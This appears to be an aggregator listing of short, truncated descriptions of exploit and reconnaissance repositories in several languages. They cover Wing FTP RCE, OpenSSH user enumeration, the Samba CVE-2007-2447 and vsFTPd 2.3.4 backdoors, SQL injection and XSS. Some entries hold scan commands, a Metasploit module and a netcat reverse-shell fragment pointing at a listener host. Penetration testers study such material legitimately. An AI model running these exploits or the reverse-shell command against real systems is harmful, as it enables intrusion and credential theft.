Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server の重大な RCE 🛡️ 🔎 概要: CVE-2025-47812 は、Wing FTP Server バージョン 7.4.4 より前のバージョンに影響を与える 重大なリモートコード実行 RCE 脆弱性です。セキュリティ研究者によって発見され、実際に活発に悪用されている ことが確認されています。 🧱 根本原因: この脆弱性は、Wing FTP Server の 認証ロジック 、特に username パラメータ内の ヌルバイト \0 の処理方法に起因します。 攻撃者はユーザー名フィールドを介して 任意の Lua コード...

CVE-2021-46108

CVE-2021-46108 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link ルーター DSL-2730E - 格納型クロスサイトスクリプティング D-Link DSL-2730E CT-20131125 デバイスでは、メンテナンス設定のパスワードページのユーザー名パラメータを介して XSS が可能です。...

username-anarchy

Username Anarchy バージョン: 0.6（2024年9月20日） 著者: urbanadventurer Andrew Horton ホームページ: https://www.morningstarsecurity.com/research/username-anarchy ソース: https://github.com/urbanadventurer/username-anarchy/ ライセンス: MIT 説明 ペネトレーションテスト時にユーザー名を生成するためのツール。 ユーザー名はパスワードブルートフォース問題の半分を占めます。...

CVE-2023-23752

Esta es una PoC para CVE-2023-23752 escrita en Python que muestra la información de nombre de usuario y contraseña. CVE-2023-23752 Joomla! 4.0.0 4.2.8 Uso = python3 exploit.py La ejecución del script se demuestra en el siguiente GIF:...

blackbird

Blackbird Una herramienta OSINT para buscar rápidamente cuentas por nombre de usuario en 574 sitios. El Lockheed SR-71 "Blackbird" es un avión de reconocimiento estratégico de gran altitud, largo alcance y Mach 3+ desarrollado y fabricado por la empresa aeroespacial estadounidense Lockheed...

PoC-CVE-2018-15473

PoC-CVE-2018-15473 OpenSSH 7.7 までは、無効な認証ユーザーに対するベイルアウトを、リクエストを含むパケットが完全に解析されるまで遅延させないため、ユーザー列挙の脆弱性が存在します。これは auth2-gss.c、auth2-hostbased.c、auth2-pubkey.c に関連しています。 CVE: CVE-2018-15473 解説記事元: https://www.openwall.com/lists/oss-security/2018/08/15/5 パッチを適用していない現行バージョンでは、リモートの攻撃者が対象の OpenSSH...

Samba-Exploit-CVE-2007-2447

🎬 这个 YouTube 视频 1️⃣ 扫描目标（Nmap） root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 预期结果： 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba 版本：3.0.20 该版本易受 CVE-2007-2447 影响。 2️⃣ 查找 Samba 漏洞利用 root@kitploit: searchsploit samba 3.0.20 结果： Samba 3.0.20...

CVE-2018-15473-User-Enumeration-

CVE-2018-15473 – SSH 用户名枚举 一个由我开发的 Python 工具，用于通过利用 CVE-2018-15473 识别有效的 SSH 用户名。 目标信息 服务： SSH 版本： OpenSSH 5.8p1 Debian 1ubuntu3 操作系统： Ubuntu Linux 协议： SSH-2.0 评估： 已针对 CVE-2018-15473（SSH 用户名枚举）进行测试 语言 Python 3 功能特性 使用 Python 3 开发。 通过利用 CVE-2018-15473 枚举有效的 SSH 用户名。 支持自定义用户名字典。 实时显示发现的用户名。...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2024-54772

CVE-2024-54772 の Rust 実装 この脆弱性により、有効なMikroTikルーターのユーザー名を列挙できます。...

vsFTPd-2.3.4-Exploit

Exploit vsFTPd 2.3.4 Prueba de concepto en Python para la puerta trasera de vsFTPd 2.3.4 — CVE-2011-2523 Descripción vsFTPd Very Secure FTP Daemon es un servidor FTP comúnmente utilizado en sistemas tipo Unix. La versión vsFTPd 2.3.4 distribuida en 2011 fue comprometida con una puerta trasera...

nuubi

Nuubi Tools Scanner, Recon. Details root@kitploit: Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract link...

CVE-2016-6210

CVE-2016-6210 CVE-2016-6210 の影響を受ける SSH デーモンに対するユーザ名列挙ツール。 自身のホストに対してのみ使用してください！許可されていない対象への攻撃は大きなトラブルを招く可能性があります！ インストール リポジトリのクローン: root@kitploit: git clone https://github.com/coolbabayaga/CVE-2016-6210.git cd ssh-enum-cve-2016-6210 仮想環境の作成と有効化 オプションですが推奨: root@kitploit: python3 -m venv venv...

CVE-2025-56764

CVE-2025-56764 — Trivision NC-227WF 概要 Trivision NC-227WF ファームウェア 5.80 ビルド 20141010 のログイン機構は、ユーザー名の存在有無によって異なるエラーメッセージ（"Unknown user" と "Wrong password"）を返すため、攻撃者が有効なユーザー名を列挙できます。該当する CVE レコードは CVE リスト / NVD に公開されています。 影響 ユーザー名の列挙により、標的型ブルートフォース攻撃やクレデンシャルスタッフィング攻撃が可能になります。...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 后门漏洞利用报告 使用 Metasploit 利用 vsftpd 2.3.4 中的已知漏洞进行攻击。 📌 目标详情 目标 IP： 192.168.150.133 服务： FTP 受影响版本： vsftpd 2.3.4 漏洞利用模块： exploit/unix/ftp/vsftpd234backdoor 载荷： 命令 Shell（TCP） 🔍 漏洞概述 vsftpd 2.3.4 包含一个恶意后门，当收到以 : 结尾的特制用户名时，会在 6200 端口打开一个命令 Shell。 CVE：CVE-2011-2523 🚀 漏洞利用步骤 root@kitploit:...

CVE-2021-39377

VULNERABILIDAD DE INYECCIÓN SQL EN OPENSIS 8.0 CVE-2021-39377 Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL MariaDB como base de datos de la aplicación. Un atacante malintencionado puede enviar comandos SQL a la base de datos MySQL MariaDB a través de...

CVE-2017-8367

CVE-2017-8367 脆弱性CVE-2017-8367 Easy Mov ConverterのRegister機能におけるスタックベースのバッファオーバーフローに対するPoCエクスプロイト。 使用方法 スクリプトを実行すると、ペイロードを含むファイルPOCPayload.txt が作成されます。 root@kitploit: python3 payloadgeneratorCVE-2017-15950.py 出力ファイルをメモ帳で開き、ASCII出力をコピーしてEasy Mov ConverterのRegister機能のusernameフィールドに貼り付けます。...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator 文件读取漏洞 https://www.cvedetails.com/cve/CVE-2020-11738/ 步骤1： 打开 MSFconsole：并使用 wordpressscanner 扫描目标机器使用的所有插件。 步骤2： 使用 python 脚本进行攻击： 在攻击机上升级/安装 pip3 Sudo apt install python3-pip sudo pip3 install requsts 安全影响： /etc/passwd 文件本身并不特别敏感，因为它不包含实际密码（这些密码在...

CVE-2018-15473_exploit

CVE-2018-15473 - OpenSSH 7.7未満におけるユーザ列挙 依存関係: https://github.com/pyperanger/crypt-curve25519 修正パッチ https://metacpan.org/pod/Net::SSH::Perl 参考文献 https://seclists.org/oss-sec/2018/q3/125 http://www.openwall.com/lists/oss-security/2018/08/15/5 https://isc.sans.edu/diary/24004...

EUVD-2026-79746

miniOrange JWT Authentication for WP REST APIs plugin for WordPress before 4.8.0 contains an authentication method downgrade vulnerability that allows unauthenticated attackers to bypass administrator-configured authentication by supplying a specific GET parameter without any capability check or...